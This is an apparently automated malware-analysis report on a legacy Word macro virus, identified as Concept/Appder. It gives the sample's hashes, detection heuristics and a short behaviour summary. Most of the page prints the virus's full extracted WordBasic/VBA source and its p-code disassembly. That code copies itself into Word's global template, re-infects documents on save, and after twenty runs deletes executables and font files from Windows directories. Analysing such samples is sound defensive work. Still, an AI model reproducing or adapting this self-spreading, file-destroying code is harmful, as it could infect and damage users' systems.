Concept — Office (OLE) malware analysis

Static analysis result for SHA-256 30f7d1b5c9ae557a…

MALICIOUS

Office (OLE)

34.0 KB Created: 1997-05-29 15:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 243d7e3f7e13653372baef492c024304 SHA-1: d5cd3154f75e91926109fd5ce1bc78619232ea2f SHA-256: 30f7d1b5c9ae557ad2ecd89b4e63b8be3b11eadbeddf1e1031085a352051bb91
196 Risk Score

Malware Insights

Concept · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as a legacy WordBasic macro-virus, specifically ClamAV: Doc.Trojan.Concept-28. The AutoOpen macro attempts to copy itself and the AutoClose macro to the global template, facilitating its spread. The Funyour subroutine contains logic that, when triggered, attempts to delete various executable and font files from the system, indicating a destructive or disruptive intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Concept-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Concept-28
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12547 bytes
SHA-256: 406e136f20e7021046ea84022ae0db16891c8fdd85aa937a74f89a510d991e5e
Detection
ClamAV: Doc.Trojan.Appder-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

'Virus - NTTHNTA

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
Funyour
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then
        AClose = -1
    End If
    If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
        Ad = -1
    End If
Next i
If Not AClose And Not Ad Then
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":Appder"
    WordBasic.MacroCopy sMacro$, "Global:Appder"
    sMacro$ = sMe$ + ":AutoClose"
    WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub

Private Sub Funyour()
Dim WOpen$
Dim sales
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " NTTHNTA", "WINWORD6.INI")
sales = WordBasic.Val(WOpen$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", Str(sales), "WINWORD6.INI"
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NTTHNTA", "WINWORD6.INI")
If WOpen$ = "20" Then
    WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", "1", "WINWORD6.INI"
    WordBasic.Kill "C:\DOC\*.EXE"
    WordBasic.Kill "C:\DOC\*.COM"
    WordBasic.Kill "C:\WINDOWS\*.EXE"
    WordBasic.Kill "C:\WINDOWS\SYSTEM\*.TTF"
    WordBasic.Kill "C:\WINDOWS\SYSTEM\*.FOT"
End If
End Sub 'Funyour

Attribute VB_Name = "Appder"

'Virus - NTTHNTA

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
Funyour
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then
        AClose = -1
    End If
    If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
        Ad = -1
    End If
Next i
If Not AClose And Not Ad Then
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":Appder"
    WordBasic.MacroCopy sMacro$, "Global:Appder"
    sMacro$ = sMe$ + ":AutoClose"
    WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub

Private Sub Funyour()
Dim WOpen$
Dim sales
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " NTTHNTA", "WINWORD6.INI")
sales = WordBasic.Val(WOpen$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", Str(sales), "WINWORD6.INI"
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NTTHNTA", "WINWORD6.INI")
If WOpen$ = "20" Then
    WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", "1", "WINWORD6.INI"
    WordBasic.Kill "C:\DOC\*.EXE"
    WordBasic.Kill "C:\DOC\*.COM"
    WordBasic.Kill "C:\WINDOWS\*.EXE"
    WordBasic.Kill "C:\WINDOWS\SYSTEM\*.TTF"
    WordBasic.Kill "C:\WINDOWS\SYSTEM\*.FOT"
End If
End Sub 'Funyour

Attribute VB_Name = "AutoClose"

'   Virus - NTTHNTA

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Quit
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = WordBasic.[FileName$]()
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":Appder"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy "Global:AutoClose", sTMacro$
WordBasic.FileSaveAs dlg
GoTo Done
Quit:
If Err.Number <> 102 Then
    WordBasic.FileSaveAs dlg
End If
Done:
End Sub

' Processing file: /tmp/qstore_u73jbibt
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 3142 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x000F "Virus - NTTHNTA"
' Line #2:
' Line #3:
' 	FuncDefn (Public Sub MAIN())
' Line #4:
' 	Dim 
' 	VarDefn iMacroCount
' Line #5:
' 	Dim 
' 	VarDefn i
' Line #6:
' 	Dim 
' 	VarDefn AClose
' Line #7:
' 	Dim 
' 	VarDefn Ad
' Line #8:
' 	Dim 
' 	VarDefn sMe
' Line #9:
' 	Dim 
' 	VarDefn sMacro
' Line #10:
' 	ArgsCall Funyour 0x0000 
' Line #11:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #12:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #14:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #15:
' 	LitDI2 0x0001 
' 	UMi 
' 	St AClose 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0006 "Appder"
' 	Eq 
' 	IfBlock 
' Line #18:
' 	LitDI2 0x0001 
' 	UMi 
' 	St Ad 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #21:
' 	Ld AClose 
' 	Not 
' 	Ld Ad 
' 	Not 
' 	And 
' 	IfBlock 
' Line #22:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #23:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sMacro$ 
' Line #24:
' 	Ld sMacro$ 
' 	LitStr 0x000D "Global:Appder"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #25:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sMacro$ 
' Line #26:
' 	Ld sMacro$ 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	Label Quit 
' Line #29:
' 	EndSub 
' Line #30:
' Line #31:
' 	FuncDefn (Private Sub Funyour())
' Line #32:
' 	Dim 
' 	VarDefn WOpen
' Line #33:
' 	Dim 
' 	VarDefn sales
' Line #34:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0008 " NTTHNTA"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #35:
' 	Ld WOpen$ 
' 	Ld WordBasic 
' 	ArgsMemLd Val 0x0001 
' 	LitDI2 0x0001 
' 	Add 
' 	St sales 
' Line #36:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	Ld sales 
' 	ArgsLd Str 0x0001 
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #37:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #38:
' 	Ld WOpen$ 
' 	LitStr 0x0002 "20"
' 	Eq 
' 	IfBlock 
' Line #39:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	LitStr 0x0001 "1"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #40:
' 	LitStr 0x000C "C:\DOC\*.EXE"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #41:
' 	LitStr 0x000C "C:\DOC\*.COM"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #42:
' 	LitStr 0x0010 "C:\WINDOWS\*.EXE"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #43:
' 	LitStr 0x0017 "C:\WINDOWS\SYSTEM\*.TTF"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #44:
' 	LitStr 0x0017 "C:\WINDOWS\SYSTEM\*.FOT"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #45:
' 	EndIfBlock 
' Line #46:
' 	EndSub 
' 	QuoteRem 0x0008 0x0007 "Funyour"
' Macros/VBA/Appder - 3139 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x000F "Virus - NTTHNTA"
' Line #2:
' Line #3:
' 	FuncDefn (Public Sub MAIN())
' Line #4:
' 	Dim 
' 	VarDefn iMacroCount
' Line #5:
' 	Dim 
' 	VarDefn i
' Line #6:
' 	Dim 
' 	VarDefn AClose
' Line #7:
' 	Dim 
' 	VarDefn Ad
' Line #8:
' 	Dim 
' 	VarDefn sMe
' Line #9:
' 	Dim 
' 	VarDefn sMacro
' Line #10:
' 	ArgsCall Funyour 0x0000 
' Line #11:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #12:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #14:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #15:
' 	LitDI2 0x0001 
' 	UMi 
' 	St AClose 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0006 "Appder"
' 	Eq 
' 	IfBlock 
' Line #18:
' 	LitDI2 0x0001 
' 	UMi 
' 	St Ad 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #21:
' 	Ld AClose 
' 	Not 
' 	Ld Ad 
' 	Not 
' 	And 
' 	IfBlock 
' Line #22:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #23:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sMacro$ 
' Line #24:
' 	Ld sMacro$ 
' 	LitStr 0x000D "Global:Appder"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #25:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sMacro$ 
' Line #26:
' 	Ld sMacro$ 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	Label Quit 
' Line #29:
' 	EndSub 
' Line #30:
' Line #31:
' 	FuncDefn (Private Sub Funyour())
' Line #32:
' 	Dim 
' 	VarDefn WOpen
' Line #33:
' 	Dim 
' 	VarDefn sales
' Line #34:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0008 " NTTHNTA"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #35:
' 	Ld WOpen$ 
' 	Ld WordBasic 
' 	ArgsMemLd Val 0x0001 
' 	LitDI2 0x0001 
' 	Add 
' 	St sales 
' Line #36:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	Ld sales 
' 	ArgsLd Str 0x0001 
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #37:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #38:
' 	Ld WOpen$ 
' 	LitStr 0x0002 "20"
' 	Eq 
' 	IfBlock 
' Line #39:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	LitStr 0x0001 "1"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #40:
' 	LitStr 0x000C "C:\DOC\*.EXE"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #41:
' 	LitStr 0x000C "C:\DOC\*.COM"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #42:
' 	LitStr 0x0010 "C:\WINDOWS\*.EXE"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #43:
' 	LitStr 0x0017 "C:\WINDOWS\SYSTEM\*.TTF"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #44:
' 	LitStr 0x0017 "C:\WINDOWS\SYSTEM\*.FOT"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #45:
' 	EndIfBlock 
' Line #46:
' 	EndSub 
' 	QuoteRem 0x0008 0x0007 "Funyour"
' Macros/VBA/AutoClose - 1918 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x0012 "   Virus - NTTHNTA"
' Line #2:
' Line #3:
' 	FuncDefn (Public Sub MAIN())
' Line #4:
' 	Dim 
' 	VarDefn sMe
' Line #5:
' 	Dim 
' 	VarDefn sTMacro
' Line #6:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #7:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #8:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #9:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #10:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #11:
' 	Ld sMe$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St sTMacro$ 
' Line #12:
' 	LitStr 0x000D "Global:Appder"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #13:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sTMacro$ 
' Line #14:
' 	LitStr 0x000D "Global:Appder"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #15:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sTMacro$ 
' Line #16:
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #17:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #18:
' 	GoTo Done 
' Line #19:
' 	Label Quit 
' Line #20:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0066 
' 	Ne 
' 	IfBlock 
' Line #21:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Label Done 
' Line #24:
' 	EndSub

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